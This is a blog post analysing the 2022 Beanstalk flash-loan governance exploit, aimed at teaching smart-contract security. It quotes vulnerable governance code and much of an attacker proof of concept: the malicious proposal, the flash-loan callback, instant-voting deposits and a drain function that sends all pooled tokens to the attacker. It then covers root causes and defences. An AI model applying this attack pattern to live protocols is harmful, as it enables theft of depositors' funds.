Skip to main content

Command Palette

Search for a command to run...

The Beanstalk Hack

Updated
9 min read
The Beanstalk Hack
H

In my free time iwrite and raise my voice in toast.

Date: April 17, 2022 | Lost: $182 million | Attacker Profit: $76 million

What is Beanstalk?

Beanstalk is a cryptocurrency project on Ethereum that created a "stablecoin" called BEAN — a token meant to always be worth $1. Think of it like a digital dollar.

To keep BEAN stable, the protocol needs people to deposit money into it. To incentivize this, Beanstalk rewards depositors with:

  • Stalk — a governance token (like voting shares in a company)

  • Seeds — tokens that slowly grow into more Stalk over time

The place where you deposit your money is called the Silo — think of it as the protocol's bank vault.

The key problem: If you deposit money into the Silo, you immediately get Stalk (voting power). There's no waiting period.


What is a Flash Loan?

A flash loan is a special kind of loan unique to blockchain:

  1. You borrow millions (or billions) of dollars

  2. You do something with the money

  3. You return the money — all in the same transaction (a few seconds)

  4. If you can't return it, the entire transaction is cancelled as if nothing happened

You need zero collateral. The only cost is a small fee (0.09%).

This means anyone with a clever idea can temporarily control billions of dollars for the cost of a few thousand.


How Beanstalk's Voting Works

Beanstalk lets Stalk holders vote on proposals called BIPs (Beanstalk Improvement Proposals). These proposals can change anything about the protocol — including moving all the money.

There were two ways to pass a proposal:

Method Requirement Time
Normal vote 50% majority 7 days
Emergency vote 67% supermajority Immediate (after 1 day waiting)

The emergency vote function is called emergencyCommit. Here's the actual code:

// Source: GovernanceFacet.sol:180-191 (BeanstalkFarms/Beanstalk @ commit e6a52903d)

function emergencyCommit(uint32 bip) external {
    require(isNominated(bip), "Governance: Not nominated.");
    require(
        block.timestamp >= timestamp(bip).add(C.getGovernanceEmergencyPeriod()),
        "Governance: Too early.");                    // Must wait 1 day (86400 seconds)
    require(isActive(bip), "Governance: Ended.");
    require(
        bipVotePercent(bip).greaterThanOrEqualTo(C.getGovernanceEmergencyThreshold()),
        "Governance: Must have super majority.");     // Need 2/3 of all votes
    _execute(msg.sender, bip, false, true);           // Execute immediately!
}

The fatal flaw: This function checks "do you have 67% of votes RIGHT NOW?" — not "did you have 67% of votes yesterday?" An attacker who borrows a billion dollars for 10 seconds has the same voting power as someone who's been invested for a year.


The Architecture: How Beanstalk is Built

Beanstalk uses a design pattern called the Diamond Proxy (EIP-2535). Here's the simple version:

                    ┌──────────────────┐
                    │  Diamond Proxy   │  <-- One address holds ALL the money
                    │  (Main Contract) │      and ALL the state/data
                    └────────┬─────────┘
                             │
              ┌──────────────┼──────────────┐
              │              │              │
        ┌─────┴─────┐ ┌─────┴─────┐ ┌─────┴─────┐
        │ Governance │ │   Silo    │ │  Season   │   <-- "Facets" = modular
        │   Facet    │ │   Facet   │ │   Facet   │       plug-in contracts
        └────────────┘ └───────────┘ └───────────┘
  • One contract holds all the protocol's money and data

  • Facets are plug-in modules that define behavior (governance, deposits, etc.)

  • Governance proposals can add, remove, or replace any facet

  • Proposals can also run any arbitrary code via a special init function

This means: if you control governance, you control everything — including the ability to transfer all money to yourself.


The Attack: Step by Step

Day 1: Set the Trap

The attacker submitted a malicious proposal called BIP-18. It looked like a normal proposal, but its init function was designed to steal everything. Here's how they submitted it:

// Source: Attacker.sol:62-66 (immunefi-team/hack-analysis-pocs)

function submitProposal() internal {
    IBeanStalk.FacetCut[] memory _diamondCut = new IBeanStalk.FacetCut[](0); // No facet changes
    bytes memory data = abi.encodeWithSelector(Attacker.getProposalProfit.selector);
    IBeanStalk(beanStalk).propose(
        _diamondCut,
        address(this),    // <-- "Run MY code when this passes"
        data,             // <-- "Specifically, run getProposalProfit()"
        3
    );
}

The attacker then waited the required 1 day for the proposal to become eligible for emergency voting.

Day 2: Execute the Heist (One Single Transaction)

The entire attack happened in one transaction lasting a few seconds:

// Source: Attacker.sol:120-131 (immunefi-team/hack-analysis-pocs)
// This is the Aave flash loan callback — the heart of the attack

function executeOperation(
    address[] calldata,
    uint256[] calldata amounts,
    uint256[] calldata premiums,
    address,
    bytes calldata
) external returns (bool) {
    getCurveBean(amounts);               // Step A: Convert borrowed money to LP tokens
    passBip();                           // Step B: Deposit, vote, steal
    swapCurveBeanBack(amounts, premiums); // Step C: Convert stolen money back, repay loan
    return true;
}

Step A: Borrow $1 Billion and Convert It

// Source: Attacker.sol:97-117

// Flash borrow from Aave:
amounts[0] = 350_000_000 * 10**dai.decimals();   // $350M DAI
amounts[1] = 500_000_000 * 10**usdc.decimals();  // $500M USDC
amounts[2] = 150_000_000 * 10**usdt.decimals();  // $150M USDT

The attacker then converted these stablecoins into Beanstalk-compatible LP tokens through Curve Finance pools.

// Source: Attacker.sol:133-149

function getCurveBean(uint256[] calldata amounts) internal {
    // Deposit DAI+USDC+USDT into Curve 3pool → get 3CRV tokens
    uint256[3] memory tempAmounts;
    tempAmounts[0] = amounts[0];  // 350M DAI
    tempAmounts[1] = amounts[1];  // 500M USDC
    tempAmounts[2] = amounts[2];  // 150M USDT
    threeCrvPool.add_liquidity(tempAmounts, 0);

    // Deposit 3CRV into BEAN:3CRV pool → get BEAN3CRV-f LP tokens
    uint256[2] memory tempAmounts2;
    tempAmounts2[0] = 0;
    tempAmounts2[1] = threeCrv.balanceOf(address(this));
    ICurvePool(crvbean).add_liquidity(tempAmounts2, 0);
}

Step B: Deposit, Get Votes, Pass the Malicious Proposal

// Source: Attacker.sol:151-162

function passBip() internal {
    // Deposit LP tokens into the Silo → INSTANTLY get voting power
    IBeanStalk(beanStalk).deposit(
        crvbean,
        ERC20(crvbean).balanceOf(address(this))
    );
    // No need to call vote() — propose() already auto-voted for us!
    // Our deposit auto-increases our vote weight via incrementBipRoots()

    // Execute the proposal — we now have >67% of all votes
    IBeanStalk(beanStalk).emergencyCommit(bip);
}

When emergencyCommit ran, it executed the attacker's malicious code:

// Source: Attacker.sol:201-207 — The drain function
// This runs via "delegatecall" inside the Diamond Proxy,
// so "address(this)" = the Diamond (which holds ALL the money)

function getProposalProfit() external {
    address crvbeanToken = 0x3a70DfA7d2262988064A2D051dd47521E43c9BdD;
    ERC20(crvbeanToken).transfer(
        msg.sender,                                    // Send to attacker
        ERC20(crvbeanToken).balanceOf(address(this))   // ALL of it
    );
}

Step C: Convert Stolen Tokens, Repay the Flash Loan, Keep the Profit

// Source: Attacker.sol:164-199

function swapCurveBeanBack(uint256[] calldata amounts, uint256[] calldata premiums) internal {
    // Convert stolen LP tokens back to stablecoins via Curve
    ICurvePool(crvbean).remove_liquidity_one_coin(
        ERC20(crvbean).balanceOf(address(this)), 1, 0
    );
    // Repay Aave flash loans (principal + 0.09% fee)
    uint256[3] memory tempAmounts;
    tempAmounts[0] = amounts[0] + premiums[0];  // DAI + fee
    tempAmounts[1] = amounts[1] + premiums[1];  // USDC + fee
    tempAmounts[2] = amounts[2] + premiums[2];  // USDT + fee
    threeCrvPool.remove_liquidity_imbalance(tempAmounts, type(uint256).max);

    // Everything left over = profit (~$76 million)
    threeCrvPool.remove_liquidity_one_coin(threeCrv.balanceOf(address(this)), 1, 0);
}

Why It Happened: The Root Causes

1. Instant Voting Power (No Cooldown)

When you deposit into the Silo, you get voting power immediately:

// Source: LibSilo.sol:43-56 (BeanstalkFarms/Beanstalk @ e6a52903d)

function incrementBalanceOfStalk(address account, uint256 stalk) internal {
    AppStorage storage s = LibAppStorage.diamondStorage();
    uint256 roots;
    if (s.s.roots == 0) roots = stalk.mul(C.getRootsBase());
    else roots = s.s.roots.mul(stalk).div(s.s.stalk);

    s.s.stalk = s.s.stalk.add(stalk);
    s.a[account].s.stalk = s.a[account].s.stalk.add(stalk);

    s.s.roots = s.s.roots.add(roots);
    s.a[account].roots = s.a[account].roots.add(roots);  // Roots = voting power

    incrementBipRoots(account, roots);  // Auto-adds to all BIPs you've voted on!
}

There's no waiting period. Deposit $1 billion for 5 seconds? Same voting power as depositing $1 billion for 5 years.

2. No Snapshot Voting

Secure protocols take a "snapshot" of who holds tokens before a vote starts. Beanstalk checked your balance live — at the moment you vote:

// Source: VotingBooth.sol:32-35 (BeanstalkFarms/Beanstalk @ e6a52903d)

function recordVote(address account, uint32 bipId) internal {
    s.g.voted[bipId][account] = true;
    s.g.bips[bipId].roots = s.g.bips[bipId].roots.add(balanceOfRoots(account));
    //                                                  ^^^^^^^^^^^^^^^^^^^^
    //                                                  CURRENT balance, not historical
}

3. Emergency Execute = No Time to React

The emergencyCommit function let proposals execute the instant they got 67% support. The community had zero time to see the attack coming and respond.

4. Post-Audit Changes

Beanstalk was audited by Omniscia, but the critical features (BIP-12 and BIP-16) that allowed LP tokens to be deposited for voting power were added after the audit. These unaudited changes created the attack path.


The Result

Borrowed:    ~$1,000,000,000 (flash loan — returned)
Drained:     ~$182,000,000   (from all Beanstalk depositors)
Profit:      ~$76,000,000    (24,830 ETH kept by attacker)
Destroyed:   ~$106,000,000   (value lost from BEAN price crash)
Donated:         $250,000    (sent to Ukraine charity)
Attack cost:        $739     (gas fee for the transaction)

BEAN crashed from $1.00 to $0.21 within minutes.


How Beanstalk Responded

  1. Immediately paused all smart contracts and revoked governance

  2. Launched the "Barn Raise" — a community fundraiser to recapitalize the protocol

  3. Gave affected users IOUs ("Unripe" tokens) redeemable as the protocol recovered

  4. Removed on-chain governance entirely — votes now happen off-chain via Snapshot

  5. Created a 5-of-9 multisig of known community members to execute proposals

  6. Added mandatory timelocks before any proposal can execute

  7. Relaunched in August 2022 with all fixes in place

  8. Established a bug bounty (up to $1.1M via Immunefi)

  9. Founders doxxed themselves (revealed as Benjamin Weintraub and Brendan Sanderson)

The attacker sent all 24,830 ETH through Tornado Cash (a crypto mixer) in 270 transactions. The FBI opened an investigation. No arrests have been publicly confirmed.


The Lesson

If you can borrow a billion dollars for free, and your protocol gives voting power instantly with no cooldown, someone WILL use that to steal everything.


How Secure Protocols Prevent This

Defense How It Works Used By
Snapshot voting Your votes count based on what you held before the proposal — tokens bought after don't count Compound, Uniswap, ENS
Vote-escrow (ve-tokens) Must lock tokens for weeks/years to vote — can't lock & unlock in same transaction Curve, Balancer, Frax
Timelock on execution Even after a vote passes, wait 48+ hours before it runs — gives community time to react Compound, Aave
Multi-sig guardian A group of known people can veto malicious proposals during the timelock Arbitrum, Optimism

Key References

Source What It Provides
Immunefi PoC Verified attack reproduction code (Attacker.sol)
Beanstalk Repo @ e6a52903d Actual vulnerable Solidity code
Etherscan TX On-chain transaction (block 14602790)
rekt.news Attack narrative and analysis
bean.money Official post-mortem
23 views

Smart Contract Exploitations

Part 1 of 1

All things about smart contract hacks, exploitation, and vulerabilities. The focus is on smart contract security and pitfalls